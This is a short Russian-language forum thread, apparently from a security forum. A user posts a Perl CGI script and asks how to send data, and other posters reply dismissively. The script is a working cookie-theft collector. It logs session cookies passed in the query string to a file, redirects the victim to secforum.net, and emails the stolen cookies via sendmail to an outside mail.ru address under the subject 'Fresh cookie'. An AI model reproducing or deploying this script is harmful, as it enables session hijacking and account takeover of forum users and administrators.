javascript
[color="red"]Предупреждение за кросспостинг[/color]
Ни чего не понял. :)
Послать откуда и как? Может <input type = "file"> нужен.
Я так понимаю, что речь идет об upload файла на сервер. Так для этого HTML достаточно.
Задачу стоит формулировать более четко.
use CGI qw(:standard);
$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();
print $query->redirect('http://secforum.net/forum/index.php');
$mailprog = '/usr/sbin/sendmail';
$mail='vasy@mail.ru';
$target='admin@secforum.net';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);
Хинт: [color="#f5f5ff"]К слову. Я лично PERL не знаю, но из всего выше означенно виже что это не upload, а банальный отсыл письма[/COLOR].
Четыре сообщения за день с глупыми вопросами, начинающимися с "ХАЧУ"... Пора коллегию в "баню" собирать...